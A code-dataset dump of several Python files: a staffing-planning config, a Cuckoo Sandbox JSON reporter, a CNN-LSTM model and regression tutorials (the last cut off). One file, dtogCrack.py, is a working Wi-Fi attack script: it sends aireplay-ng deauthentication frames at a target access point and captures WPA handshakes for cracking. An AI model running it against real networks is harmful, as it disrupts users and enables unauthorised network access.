['Code_Fin_Lvl_1', 'Code_Fin_Lvl_2', 'Code_Fin_Lvl_3']\n\nINFO_DATES = {\n (2, 4): [\n {'code_scenario': 2, 'code_version': 99, 'Status': 1, 'type': 'БП-2019',\n 'date': ['2020-01-01']},\n {'code_scenario': 7, 'code_version': 5, 'Status': 1,\n 'type': 'Стратегия', 'date': ['2021-01-01']},\n {'code_scenario': 3, 'code_version': 0, 'Status': 1, 'type': 'Факт',\n 'date': ['2019-10-01']},\n {'code_scenario': 5, 'code_version': 0, 'Status': 1, 'type': 'Штат',\n 'date': ['2019-10-01']},\n ]\n}\n\"\"\"\nPREVIOUS_VERSIONS - для получения предыдущей версии модуля\nВ работе с EXCEL получаем даты previous_version -> \n-> по ним запрашиваем фактические значения индикатора\nХраним в формате \nlast_version(t): {\nprevious_version(t-1),\nexcel - True/False (выгружаем в excel факт по датам предыдущей версии или нет),\nscenario_module - модуль (БП/Стратегия),\nindicators - для данных индикаторов применимо\n\"\"\"\nPREVIOUS_VERSIONS = {\n 4: {\n 'previous_version': 99,\n 'excel': True,\n 'scenario_module': 'bp',\n 'indicators': [6]\n }\n}\nPLANNING_JSON = {'bp': {'code_scenario': 2,\n 'code_sub_scenario': 4,\n 'aggregate_indicators': {1: 2, 6: 7, 9: 10},\n 'editable_indicators': [1, 6]\n },\n 'strategy': {'code_scenario': 1,\n 'code_sub_scenario': 1,\n 'aggregate_indicators': {1: 2, 6: 7, 9: 10},\n 'editable_indicators': {\"main\": [6, 10],\n \"exceptions\": [1]}\n },\n 'strategy_final': {'code_scenario': 7,\n 'code_sub_scenario': 7,\n 'aggregate_indicators': {1: 2, 6: 7, 9: 10},\n 'editable_indicators': [1, 6]\n },\n 'staffing': {'code_scenario': 5,\n 'code_sub_scenario': 5,\n 'aggregate_indicators': {1: 2, 6: 7, 9: 10},\n 'editable_indicators': [1, 6]\n },\n 'fact': {'code_scenario': 3,\n 'code_sub_scenario': 3,\n 'aggregate_indicators': {1: 2, 6: 7, 9: 10},\n 'editable_indicators': [1, 6]\n },\n }\n\n# to export excel\nINDICATORS_JSON = \\\n {\n 1: {\n 'indicator_title': 'Headcount',\n 'columns_to_excel':\n [\n 'Role_Name', 'Fin_1_Tag', 'Fin_2_Tag', 'Fin_3_Tag',\n 'Block_Tag', 'Tag_L2', 'Tag_L3', 'Tag_L4'\n ],\n 'pivot_index':\n ['Code_Role', 'Code_Version', 'Code_FinanceStructure'],\n 'table': 'Values',\n 'type_indicator': {'strategy': 'count', 'bp': 'from_db',\n 'strategy_final': 'from_db'},\n 'headers': {\"Role_Name\": \"имя роли\", \"Block_Tag\": \"блок\",\n \"Fin_1_Tag\": \"фин. структура 1 ур.\",\n \"Fin_2_Tag\": \"фин. структура 2 ур.\",\n \"Fin_3_Tag\": \"фин. структура 3 ур.\",\n \"Tag_L2\": \"подразделение\", \"Tag_L3\": \"направление\",\n \"Tag_L4\": \"задачи\"}\n },\n 3: {\n 'indicator_title': 'Avg_Salary',\n 'columns_to_excel':\n [\n 'Role_Name', 'Fin_1_Tag', 'Fin_2_Tag', 'Fin_3_Tag',\n 'Block_Tag', 'Tag_L2', 'Tag_L3', 'Tag_L4'\n ],\n 'pivot_index':\n ['Code_Role', 'Code_Version', 'Code_FinanceStructure'],\n 'table': 'Values',\n 'type_indicator': {'strategy': 'from_db', 'bp': 'from_db',\n 'strategy_final': 'from_db'},\n 'headers': {\"Role_Name\": \"имя роли\", \"Block_Tag\": \"блок\",\n \"Fin_1_Tag\": \"фин. структура 1 ур.\",\n \"Fin_2_Tag\": \"фин. структура 2 ур.\",\n \"Fin_3_Tag\": \"фин. структура 3 ур.\",\n \"Tag_L2\": \"подразделение\", \"Tag_L3\": \"направление\",\n \"Tag_L4\": \"задачи\"}\n\n },\n 5: {\n 'indicator_title': 'Staffing',\n 'columns_to_excel':\n [\n 'Role_Name', 'Fin_1_Tag', 'Fin_2_Tag', 'Fin_3_Tag',\n 'Block_Tag', 'Tag_L2', 'Tag_L3', 'Tag_L4'\n ],\n 'pivot_index':\n ['Code_Role', 'Code_Version', 'Code_FinanceStructure'],\n 'table': 'Values',\n 'type_indicator': {'strategy': 'from_db', 'bp': 'from_db',\n 'strategy_final': 'from_db'},\n 'headers': {\"Role_Name\": \"имя роли\", \"Block_Tag\": \"блок\",\n \"Fin_1_Tag\": \"фин. структура 1 ур.\",\n \"Fin_2_Tag\": \"фин. структура 2 ур.\",\n \"Fin_3_Tag\": \"фин. структура 3 ур.\",\n \"Tag_L2\": \"подразделение\", \"Tag_L3\": \"направление\",\n \"Tag_L4\": \"задачи\"}\n\n },\n 12: {\n 'indicator_title': 'SNB',\n 'columns_to_excel':\n [\n 'Role_Name', 'Fin_1_Tag', 'Fin_2_Tag', 'Fin_3_Tag',\n 'Block_Tag', 'Tag_L2', 'Tag_L3', 'Tag_L4'\n ],\n 'pivot_index':\n ['Code_Role', 'Code_Version', 'Code_FinanceStructure'],\n 'table': 'Values',\n 'type_indicator': {'strategy': 'count', 'bp': 'from_db',\n 'strategy_final': 'count'}\n },\n 10: {\n 'indicator_title': 'Productivity_coeff',\n 'columns_to_excel':\n [\n 'Role_Name', 'Fin_1_Tag', 'Fin_2_Tag', 'Fin_3_Tag',\n 'Block_Tag', 'Tag_L2', 'Tag_L3', 'Tag_L4'\n ],\n 'pivot_index':\n ['Code_Role', 'Code_Version', 'Code_FinanceStructure'],\n 'table': 'Values',\n 'type_indicator': {'strategy': 'from_db', 'bp': 'count',\n 'strategy_final': 'count'},\n 'headers': {\"Role_Name\": \"имя роли\", \"Block_Tag\": \"блок\",\n \"Fin_1_Tag\": \"фин. структура 1 ур.\",\n \"Fin_2_Tag\": \"фин. структура 2 ур.\",\n \"Fin_3_Tag\": \"фин. структура 3 ур.\",\n \"Tag_L2\": \"подразделение\", \"Tag_L3\": \"направление\",\n \"Tag_L4\": \"задачи\"}\n },\n 6: {\n 'indicator_title': 'Driver',\n 'columns_to_excel':\n [\n 'Driver_Title', 'Block_Tag', 'Fin_1_Tag', 'Fin_2_Tag',\n 'Fin_3_Tag'\n ],\n 'pivot_index':\n ['Code_Driver', 'Code_Version', 'Code_FinanceStructure'],\n 'table': 'Values_Driver',\n 'type_indicator': {'strategy': 'from_db', 'bp': 'from_db',\n 'strategy_final': 'from_db'},\n 'headers': {\"Driver_Title\": \"название драйвера\",\n \"Block_Tag\": \"блок\",\n \" Fin_1_Tag\": \"фин. структура 1 ур.\",\n \"Fin_2_Tag\": \"фин. структура 2 ур.\",\n \"Fin_3_Tag\": \"фин. структура 3 ур.\"}\n },\n 99: {\n 'indicator_title': 'Role_Driver',\n 'columns_to_excel': [],\n 'pivot_index': [],\n 'table': None,\n 'type_indicator': {'strategy': 'special', 'bp': 'special',\n 'strategy_final': 'special'},\n 'headers': {\"Role_Name\": \"имя роли\", \"Block_Tag\": \"блок\",\n \"Tag_L2\": \"подразделение\",\n \"Tag_L3\": \"направление\", \"Tag_L4\": \"задачи\",\n \"Driver_Title\": \"название драйвера\"}\n }\n\n }\n\nnow = datetime.datetime.now().year\n\nHEADCOUNT_LOADING_EXCEL_MESSAGE = \"Численность позднее {} года не будет загружена. (Кроме драйверов-констант). \" \\\n \"Показатели за прочие года рассчитываются АС Simplex как Драйвер / \" \\\n \"Производительность\".format(now)\n\n# Если зависимого индикатора нет в базе, в первый раз будет выгружен аналогичный индикатор\n# Для СРЗП, Укомплектованности - в первый раз будет выгружена численность\nDEPENDENCY_INDICATORS = {\n 1: [{'dependency_indicator': 3},\n {'dependency_indicator': 5},\n {'dependency_indicator': 12}]\n\n}\n\nDATES_LIST = ['2019-01-01', '2020-01-01', '2021-01-01', '2022-01-01',\n '2023-01-01', '2024-01-01']\n\nINDICATOR_TITLE_NUM = {\"Headcount\": 1, \"Productivity_coeff\": 10, \"Driver\": 6,\n \"Role_Driver\": 99, 'Avg_Salary': 3, 'Staffing': 5}\n","sub_path":"planning/info_planning.py","file_name":"info_planning.py","file_ext":"py","file_size_in_byte":10011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"324224429","text":"#!/usr/bin/python3\n\nimport time\nimport subprocess\nimport sys\nfrom os import system\n\n# Set dictionaries\nyes = {'Yes', 'yes', 'Y', 'y'}\nno = {'No', 'no', 'N', 'n'}\n\n# Define functions\n\ndef exit(): # Exit nicely\n sys.exit()\n\ndef clear(): # Tidy up terminal\n system(\"clear\")\n\ndef intMon(): # Sets interface to monitor mode\n system(\"airmon-ng start wlan0\")\n\ndef allCap(): # Packet capture on entire wireless environment to find target with airodump-ng\n print('''\n----------------------------------------------\n\nStarting packet capture, please wait...\n\nPress CTRL + C when required data is captured.\n\n----------------------------------------------\n''')\n time.sleep(2)\n allCap = 'airodump-ng wlan0mon'\n system(allCap)\n print('''\n----------------------------------------------\n\nEnding packet capture, please wait...\n\n----------------------------------------------\n''')\n time.sleep(2)\n\ndef decisionsLoop(): # Provides user with prompts to prepare for the attack\n while True:\n macAdd = input(\"Do you have the target ESSIDs MAC address? [y/n]: \")\n if macAdd in yes:\n while True:\n handCap = input(\"\\n\" \"Do you want to begin handshake capture on a specific ESSID? [y/n]: \")\n if handCap in yes:\n confDetails()\n elif handCap in no:\n while True:\n quit = input(\"\\n\" \"Ok, do you want to quit this script? [y/n]: \")\n if quit in yes:\n print(\"\\n\" \"Bye bye! Thanks for using me!\")\n exit()\n elif quit in no:\n print(\"\\n\" \"Ok, taking you back to the handshake capture\")\n decisionsLoop()\n else:\n print(\"\\n\" \"Sorry, I did not understand that\")\n continue\n else:\n print(\"\\n\" \"Sorry, I did not understand that\")\n continue\n elif macAdd in no:\n while True:\n tryAgain = input(\"\\n\" \"Do you want to try and capture again? [y/n]: \")\n if tryAgain in yes:\n allCap()\n elif tryAgain in no:\n while True:\n quit = input(\"\\n\" \"Ok, do you want to quit this script? [y/n]: \")\n if quit in yes:\n print(\"\\n\" \"Ok, thanks for using me!\" \"\\n\"\n \"\\n\"\n \"Bye bye!\")\n exit()\n elif quit in no:\n print(\"\\n\" \"Ok, lets go back.\")\n time.sleep(3)\n print(\"\\n\")\n clear()\n decisionsLoop()\n else:\n print(\"\\n\" \"Sorry, I did not understand that\")\n continue\n else:\n print(\"\\n\" \"Sorry, I did not understand that\")\n continue\n \n else:\n print(\"\\n\" \"Sorry, I did not understand that\" \"\\n\")\n continue\n\ndef confDetails():\n global targetMAC\n global targetCH\n global capFile\n targetMAC = input(\"\\n\" \"Ok, what is the target ESSIDs MAC Address?: \")\n targetCH = input(\"\\n\" \"What channel is the target ESSID operating on?: \")\n capFile = input(\"\\n\" \"Enter a name for the capture output file: \")\n print(\"\\n\" \"Please confirm the following details: \" \"\\n\"\n \"\\n\"\n \"\\t\" \"MAC Address: \" + targetMAC + \"\\n\"\n \"\\t\" \"Channel: \" + targetCH + \"\\n\"\n \"\\t\" \"Capture File Name: \" + capFile + \"\\n\")\n while True:\n confirm = input(\"Are these details correct? [y/n]: \")\n if confirm in yes:\n while True:\n beginAttack = input(\"\\n\" \"Great, shall we begin the attack? [y/n]: \")\n if beginAttack in yes:\n attackLoop()\n elif beginAttack in no:\n print(\"\\n\" \"fix later\")\n else:\n print(\"\\n\" \"Sorry, I did not understand that\")\n continue\n elif confirm in no:\n print(\"fix later\")\n else:\n print(\"\\n\" \"Sorry, I did not understand that\")\n continue\n\ndef attackTargetDeauth(): # Aligns monitor interface with target AP channel and starts aireplay-ng --deauth\n system(\"airmon-ng start wlan0mon \" + targetCH)\n print(\"\\n\")\n system(\"aireplay-ng -0 10 -a \" + targetMAC + \" wlan0mon\")\n print(\"\\n\")\n\ndef attackTargetCapture():\n system(\"airodump-ng --bssid \" + targetMAC + \" -c \" + targetCH + \" -w \" + capFile + \" wlan0mon\")\n print(\"\\n\")\n\ndef attackLoop():\n print(\"\\n\" \"Starting attack sequence...\" \"\\n\"\n \"\\n\"\n \"Changing monitor interface to same channel as target AP...\" \"\\n\"\n \"Press CTRL + C once a handshake has been captured, or if not successful within 30 seconds\" \"\\n\"\n \"\\n\"\n \"Good luck!\" \"\\n\")\n attackTargetDeauth()\n attackTargetCapture()\n while True:\n capSucess = input(\"Was a handshake successfully captured? [y/n]: \")\n if capSucess in yes:\n while True:\n newAttack = input(\"\\n\" \"Great! Would you like to attempt a new attack? [y/n]: \")\n if newAttack in yes:\n print(\"\\n\" \"Ok, scanning wireless environment...\")\n time.sleep(3)\n allCap()\n decisionsLoop()\n elif newAttack in no:\n print(\"\\n\" \"Ok, thanks for using me!\" \"\\n\"\n \"\\n\"\n \"Bye bye!\")\n exit()\n else:\n print(\"\\n\" \"Sorry, I did not understand that\")\n continue\n elif capSucess in no:\n sameAttack = input(\"\\n\" \"Unluckly. Would you like to attempt the same attack again? [y/n]: \")\n if sameAttack in yes:\n print(\"Ok, running the same attack...\")\n time.sleep(3)\n attackLoop()\n else:\n print(\"\\n\" \"Sorry, I did not understand that\")\n continue\n\n\n\nclear()\n\nintMon()\n\nallCap()\n\ndecisionsLoop()\n\nprint(\"End of script\")\n","sub_path":"dtogCrack.py","file_name":"dtogCrack.py","file_ext":"py","file_size_in_byte":6464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"372064943","text":"# Copyright (C) 2010-2013 Cuckoo Sandbox Developers.\n# This file is part of Cuckoo Sandbox - http://www.cuckoosandbox.org\n# See the file 'docs/LICENSE' for copying permission.\n\nimport os\nimport json\nimport codecs\nimport logging\n\nfrom lib.cuckoo.common.abstracts import Report\nfrom lib.cuckoo.common.exceptions import CuckooReportError\n\nclass JsonDump(Report):\n \"\"\"Saves analysis results in JSON format.\"\"\"\n\n def run(self, results):\n \"\"\"Writes report.\n @param results: Cuckoo results dict.\n @raise CuckooReportError: if fails to write report.\n \"\"\"\n log = logging.getLogger(\"jsondump\")\n\n failure = False\n try:\n report = codecs.open(os.path.join(self.reports_path, \"report.json\"), \"w\", \"utf-8\")\n json.dump(results, report, sort_keys=False, indent=4, ensure_ascii=False)\n report.close()\n except (UnicodeError, TypeError, IOError) as e:\n failure = True\n log.error(\"json failure: %s\" % (e))\n #raise CuckooReportError(\"Failed to generate JSON report: %s\" % e)\n\n ###JG: add splitted report\n try:\n obj = None\n reportFile = os.path.join(self.reports_path, \"report.json\")\n if os.path.exists(reportFile) and not failure:\n try:\n report = codecs.open(reportFile, \"r\", \"utf-8\")\n obj = json.load(report)\n report.close()\n except ValueError as e:\n log.warning(\"json malformed trying something ... : %s\" % (e))\n report = codecs.open(reportFile, \"r\", \"utf-8\")\n pjson = report.read()\n pjson = pjson.replace('\"calls\":','\"calls\": [')\n try:\n obj = json.loads(pjson)\n except:\n nres = []\n llist = pjson.split('\\n')\n for line in llist:\n if line.count('\"calls\":')>0 and line.count('[')==0:\n nres.append('\"calls\": [')\n nres.append(line)\n tc = \"\\n\".join(nres)\n try:\n obj = json.loads(tc)\n except StandardError as e:\n log.warning(\"failed splitting json report ...\")\n obj = None\n report.close()\n if obj:\n try:\n new_report_file = codecs.open(os.path.join(self.reports_path, \"report.json\"), \"w\", \"utf-8\")\n json.dump(results, new_report_file, sort_keys=False, indent=4, ensure_ascii=False)\n new_report_file.close()\n except StandardError as e:\n log.warning(\"failed storing updated json: %s\" % (e))\n pass\n dest = os.path.join(self.reports_path, \"jsonparts\")\n if not os.path.exists(dest):\n os.makedirs(dest)\n\n for k in obj.keys():\n partName = os.path.join(dest, k+'.json')\n fp = codecs.open(partName, 'w', \"utf-8\")\n json.dump(obj[k], fp)\n fp.close()\n return\n if not obj:\n ### try to work on results\n dest = os.path.join(self.reports_path, \"jsonparts\")\n if not os.path.exists(dest):\n os.makedirs(dest)\n\n for k in results.keys():\n try:\n partName = os.path.join(dest, k+'.json')\n fp = codecs.open(partName, 'w', \"utf-8\")\n json.dump(results[k], fp)\n fp.close()\n except (UnicodeError, TypeError, IOError) as e:\n log.error(\"failed splitted dump: %s\" % (e))\n continue\n except (UnicodeError, TypeError, IOError) as e:\n raise CuckooReportError(\"Failed to generate JSON partial reports: %s\" % e)\n","sub_path":"modules/reporting/jsondump.py","file_name":"jsondump.py","file_ext":"py","file_size_in_byte":4213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"166336432","text":"import torch\r\n#torch.manual_seed(0)\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nfrom torch.autograd import Variable\r\nfrom torch.nn import init\r\nimport numpy as np\r\nimport os\r\nos.environ['FOR_DISABLE_CONSOLE_CTRL_HANDLER'] = '1'\r\n\r\n\r\nclass CLSTM(nn.Module):\r\n def __init__(self, max_sent_length, vec_dim, num_labels, type):\r\n super(CLSTM, self).__init__()\r\n self.type = type\r\n if self.type == 'cnn3':\r\n self.conv_layer = nn.Conv1d(vec_dim, 100, 3, 1, padding = 1)\r\n else:\r\n self.conv_layer = nn.Conv1d(vec_dim*2+num_labels, 100, 3, 1, padding = 1)\r\n stride = 4\r\n self.pooling_layer = nn.MaxPool1d(stride)\r\n self.l_in = max_sent_length\r\n self.l_out = int(np.floor(self.l_in/stride))\r\n self.bilstm = nn.LSTM(100, 100, bidirectional = True)\r\n self.dropout_layer = nn.Dropout(0.5)\r\n if self.type == 'cnn':\r\n self.linear = nn.Linear(100*(self.l_out), 1)\r\n elif self.type == 'cnn2':\r\n self.linear1 = nn.Linear(100*(self.l_out), 100)\r\n self.linear = nn.Linear(100, 1)\r\n elif self.type == 'cnn3':\r\n self.linear = nn.Linear(100*(self.l_out), 1)\r\n else:\r\n self.linear = nn.Linear(2*100*(self.l_out), 1)\r\n\r\n def forward(self, inputs):\r\n if self.type == 'cnn3':\r\n inputs = inputs[:, :300, :]\r\n x_conv = F.relu(self.conv_layer(inputs))\r\n x_pool = self.pooling_layer(x_conv)\r\n if self.type == 'cnn':\r\n x_o = x_pool.view(-1, self.l_out*100)\r\n elif self.type == 'cnn2':\r\n x_o = x_pool.view(-1, self.l_out*100)\r\n x_o = self.linear1(x_o)\r\n elif self.type == 'cnn3':\r\n x_o = x_pool.view(-1, self.l_out*100)\r\n else:\r\n x_o = x_pool.view(self.l_out, inputs.size(0), 100)\r\n x_o, (ho,co) = self.bilstm(x_o)\r\n x_o = x_o.view(inputs.size(0), self.l_out, 2*100)\r\n x_o = x_o.view(-1, 100*2*self.l_out)\r\n\r\n x_o_drop = self.dropout_layer(x_o)\r\n x_out = self.linear(x_o_drop)\r\n out = F.sigmoid(x_out)\r\n return out, [x_conv, x_pool, x_o, x_out]\r\n\r\n\r\nif __name__ == '__main__':\r\n net = GCN(300, 100, 47*2+1)\r\n inputs = torch.ones((2,428,300))\r\n print(inputs.size())\r\n \r\n # out = net(edges, inputs)\r\n # print(out.size())","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"284690224","text":"import numpy as np\nimport pandas as pd\n\n#STEP-1 DATA PreProcessing\n#dataset = pd.read_csv(r\"C:\\Users\\n0278588\\GITHUB-Local\\myML\\Practice\\MultiLinerregression\\50_Startups.csv\")\ndataset = pd.read_csv(r\"E:\\VSCODE\\GIT_Hub\\myML\\Practice\\MultiLinerregression\\50_Startups.csv\")\n\n#defining the input feature matrix and output vector\n#print(dataset.columns)\nX = dataset[['R&D Spend', 'Administration', 'Marketing Spend', 'State']] #2D Array\ny = dataset[['Profit']]\n\n\n#Doing hot encoding\nX = pd.get_dummies(X)\n\n#Splitting the data \nfrom sklearn.model_selection import train_test_split\nX_train,X_test,y_train,y_test = train_test_split(X,y,test_size=0.2,random_state=0)\n\n#STEP-2 Train the model\n\nfrom sklearn.linear_model import LinearRegression\nregressor = LinearRegression()\nregressor.fit(X_train,y_train)\n\n#Predict the data \ny_predict = regressor.predict(X_test)\n\n#print(f\"Test dataset: {y_test}\")\n#print(f\"Predicted dataset: {y_predict}\")\n\n#STEP-3 Using backward elimination Technique to understand which feature is the important factor\n#import statsmodels.formula.api as sm\n\n#Adding an extra column of 1s \n#50 rows,1 column \n#arr should be arr = X but it will add new column 1 to right side of X but we need it to be added as 1st column\n#Hence we reversed it and value = X now.It will add our X to column of 1s\nX = np.append(arr = np.ones((50,1)).astype(int),values=X, axis=1)\n\n#Choose a Significance level usually 0.05\n#If P>0.05 for the highest values parameter,remove that value\n\n##Faced errors at this stage\n#Error-1 : from scipy.misc import factorial ImportError: cannot import name 'factorial'\n#Solution: Reduced one level of scipy version e.g version: scipy==1.2.0 (Existing was 1.3.0)\n\n#Error-2 : from scipy.stats.stats import ss ImportError: cannot import name 'ss'\n#Solution: Upgrade the stasmodel \"pip install statsmodels==0.10.0rc2 --pre\"\n#Note:- Dont downgrade the scipy\n\n\"\"\"\nx_opt = X[:,[0,1,2,3,4,5]]\nols = sm.ols(endog = y, exog= x_opt).fit()\nols.summary()\"\"\"\n\n##Error-ols = sm.ols(endog = y, exog= x_opt).fit() TypeError: from_formula() missing 2 required positional arguments: 'formula' and 'data'\n#Solution :- The library they are using is not where the OLS function resides any longer.\n\nimport statsmodels.regression.linear_model as lm\n\n#Creating an optimal matrices of features\n\nx_opt = X[:,[0,1,2,3,4,5]]\n\n#OLS :- Ordinary Least Square\n#regressor_ols = lm.OLS(endog = y, exog= x_opt).fit()\n#print(regressor_ols.summary())\n\n#Remove the 4th(index 4) from x_opt = X[:,[0,1,2,3,4,5]] column as x4 = 0.990 in previous run\nx_opt = X[:,[0,1,2,3,5]]\n#regressor_ols = lm.OLS(endog = y, exog= x_opt).fit()\n#print(regressor_ols.summary())\n\n#Remove the 5th column(Index 4) from x_opt = X[:,[0,1,2,3,5]] as x4 = 0.940\nx_opt = X[:,[0,1,2,3]]\n#regressor_ols = lm.OLS(endog = y, exog= x_opt).fit()\n#print(regressor_ols.summary())\n\n#Remove the 3rd Column(Index 2) from x_opt = X[:,[0,1,2,3]] as x2 = 0.6\nx_opt = X[:,[0,1,3]]\n#regressor_ols = lm.OLS(endog = y, exog= x_opt).fit()\n#print(regressor_ols.summary())\n\n#Remove the 3rd column(index 2) from x_opt = X[:,[0,1,3]] as x2 = 0.06\nx_opt = X[:,[0,1]]\nregressor_ols = lm.OLS(endog = y, exog= x_opt).fit()\nprint(regressor_ols.summary())\n\n##Verdict :- Now we have only column x0 which is column of 1s and x1 which is Original column R & D \n#So it looks like the most impact ful column is R & D in preditcing the y\n\n\n\n\n\n\n\n\n\n","sub_path":"UdemyPractice/2-MultiLinerregression/MLR_BackwardElimination.py","file_name":"MLR_BackwardElimination.py","file_ext":"py","file_size_in_byte":3371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"497577154","text":"\"\"\"\nBoston house prices dataset\n\"\"\"\n# 보스톤 집값 데이터 세트 로딩\n# 데이터 탐색 하기 + 그래프\n# 데이터 탐색 결과를 바탕으로 선형회귀 (단순, 다중) 수행\n# 학습 세트, 검증 세트 split\n# 선형회귀 공식 도출, 예측하기\n# 예측한 그래프 그리기\n# 선형회귀 mean square error 계산 - 평균 제곱 오차\n# R2 score 계산 - 결정 계수\n\n# 1. 데이터 탐색 하기 + 그래프\nimport array\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom sklearn.datasets import load_boston\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import PolynomialFeatures\nfrom sklearn.metrics import mean_squared_error, r2_score\n\ndatasets = load_boston() # Bunch - python 의 dict 와 비슷한 타입 (dict 을 상속받아 만들어졌기 때문)\nprint('dataset keys : \\n', datasets.keys()) # 'DESCR' - Describe\nprint('dataset DESCRIBE is : \\n', datasets['DESCR'])\n\n# data | target separate\nX = datasets.data\ny = datasets.target\nprint('X shape , y shape is : \\n', X.shape, y.shape) # (506, 13) (506,) --> 행이 506개인가 보군! (506,) 1차원 리스트\nprint('X head is : \\n', X[:2])\nprint('y head is : \\n', y[:2])\nfeatures = datasets.feature_names # = datasets['feature_names'] 오쌤추천방법\n\n# cf. bunch 의 인덱싱 방법 - 두가지 방법 제공 : d['myname'] or d.myname\n# if. d['column-name'] -> 정상작동\n# if. d.column-name -> 오작동, 공백 또는 대시(-) 가 있으면 d.column - d.name 으로 받아들여진다.\n# cf. dict 의 인덱싱 방법\nd = {'myname': 'grace', 'myage': 28}\nprint(d['myname'])\n\nprint('column name(features) is : \\n', features) # column names..\nprint(len(features)) # 13 개의 column 있어요~\n\n# 2. subplots for modeling : y ~ feature\nfig, ax = plt.subplots(4, 4)\nax_flat = ax.flatten()\nfor i in range(len(features)):\n axis = ax_flat[i]\n axis.scatter(X[:, i], y) # 집값과 각 변수들 간의 산점도\n axis.set_title(features[i])\nplt.show()\n# 내 생각에는..RM이 가장 상관관계가 있을 것 같고, LSTAT은 반비례 관계가 있을 것 같다(2차식도 가능). DIS 도 조금은..? - 변수 2개를 합쳐볼 수 있을 듯!\n# 1개씩 나타낼 수도 있고, 2개씩 나타낼 수도 있고,\n# 선처럼 보이는 건 카테고리!\n\n\n# 3. modeling\n# 3-1. RM 단순선형회귀\nnp.random.seed(1217)\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3)\nprint(f'X_train len : {len(X_train)}, X_test len : {len(X_test)}')\n\n# 학습 세트를 사용해서 선형회귀 - 단순 선형회귀, 다중 선형회귀\n# price = b0 + b1 * RM: 집값 ~ 방의 갯수(독립변수)\nX_train_rm = X_train[:, np.newaxis, 5] # X_train_rm 만 추출한다. 1차원 리스트이므로 2차원 배열로 만들어 주었다.\nX_test_rm = X_test[:, np.newaxis, 5]\n# 1d array 은 LinearRegression 에 쓸 수가 없다! 2차원 배열이 필요함\nprint(f'X_train_rm : {X_train_rm.shape}, X_test_rm : {X_test_rm.shape}')\n\n# lin 객체 생성\nlin_reg = LinearRegression() # Linear Regression 객체 생성\nlin_reg.fit(X_train_rm, y_train) # fitting 즉 적합(학습) 시킨다 -> b0, b1 을 찾는다.(절편 및 기울기)\n# RM을 주고 결과값을 준다.\nprint(f'intercept : {lin_reg.intercept_}, coefficient : {lin_reg.coef_}')\n# 예측\ny_pred_rm = lin_reg.predict(X_test_rm) # 전체를 넘기는 것이 아니라, RM을 넘기는 거다~\n# 그래프 : 실제값 - scatter, 예측값 - plot\nplt.scatter(X_test_rm, y_test)\nplt.plot(X_test_rm, y_pred_rm, 'go-')\nplt.xlabel('RM')\nplt.ylabel('Price')\nplt.title('Price ~ RM')\nplt.show()\n\n# mean square error 계산\n# 오차의 제곱의 평균이 작은 것이,, 더 좋은 예측이지!\n# error_i = y_i(실제값) - y_i_hat(예측값), error^2 = (y_i - y_i_hat)**2\n# MSE : sum(error^2) / 갯수\nmse = mean_squared_error(y_test, y_pred_rm) # 실제값, 예측값 array\nprint('Price ~ RM : mse is :', mse)\n# RMSE(Squared-root MSE)\nrmse = np.sqrt(mse)\nprint('Price ~ RM : rmse is :', rmse)\n# R2 score 계산\n# The coefficient R^2 : 결정계수\n# 방법 1. lin_reg.score\nr2_1 = lin_reg.score(X_test_rm, y_test) # X test sample(X_test_rm), y 실제값 !! parameter 조심하기~\n# 방법 2. r2_score in metrics\nr2_2 = r2_score(y_test, y_pred_rm) # y_true 실제값, y_pred 예측값 !! parameter 조심하기~\nprint(f'Price ~ RM : R^2 1 = {r2_1}, R^2 2 = {r2_2}')\n\n# 결정계수의 의미 : 전체 모델의 약 44% 정도 설명 가능하다.\n# 결정계수 : 통계학에서, 결정계수(決定係數, 영어: coefficient of determination)는 추정한 선형 모형이 주어진 자료에 적합한 정도를 재는 척도\n# 반응 변수의 변동량 중에서 적용한 모형으로 설명가능한 부분의 비율\n# 결정계수의 값은 0에서 1사이에 있으며, 종속변인과 독립변인 사이에 상관관계가 높을수록 1에 가까워진다\n# (결정계수가 0에 가까운 값을 가지는 회귀모형은 유용성이 낮은 반면, 결정계수의 값이 클수록 회귀모형의 유용성이 높다고 할 수 있다)\n\n# train set 에 대한 결정계수도 만들 수 있다.\nr2_3 = lin_reg.score(X_train_rm, y_train) # train set 에서의 rm 에서의 설명력\nprint(f'Price ~ RM in train set : R^2 4 = {r2_3}')\n# r2_score in metrics 는 parameter 가 다르므로 쓸 수 없다 ~\n\n\n# 3-2. LSTAT 단순선형회귀\n# Price ~ LSTAT 의 관계\n# price = b0 + b1 * lstat\n# lstat 컬럼으로 이루어진 X 배열을 만들자\nX_train_lstat = X_train[:, np.newaxis, 12] # 학습세트\nX_test_lstat = X_test[:, np.newaxis, 12] # 검증세트\n# fitting 적합 or training 학습\nlin_reg.fit(X_train_lstat, y_train)\nprint(f'intercept : {lin_reg.intercept_}, coefficient : {lin_reg.coef_}')\n# predict\ny_pred_lstat = lin_reg.predict(X_test_lstat)\nplt.scatter(X_test_lstat, y_test)\nplt.plot(X_test_lstat, y_pred_lstat, 'go-')\nplt.xlabel('LSTAT')\nplt.ylabel('Price')\nplt.title('Price ~ LSTAT')\nplt.show()\n# 결정계수\nmse = mean_squared_error(y_test, y_pred_lstat)\nprint('Price ~ LSTAT : mse is :', mse)\nrmse = np.sqrt(mse)\nprint('Price ~ LSTAT : rmse is :', rmse)\nr2_4 = lin_reg.score(X_test_lstat, y_test)\nr2_5 = r2_score(y_test, y_pred_lstat)\nprint(f'Price ~ LSTAT : R^2 = {r2_4}, R^2 = {r2_5}')\n\n\n# 3-3. LSTAT 다중선형회귀\n# Price ~ LSTAT + LSTAT**2 선형회귀\n# price = b0 + b1*lstat + b2*lstat**2\n# 3-2 와 R2 를 비교하여 더 큰 녀석이 데이터를 잘 설명한다.\n\n# PolynomialFeatues 객체 생성\npoly = PolynomialFeatures(degree=2, include_bias=False)\n# interactiotn_only = false 교호작용 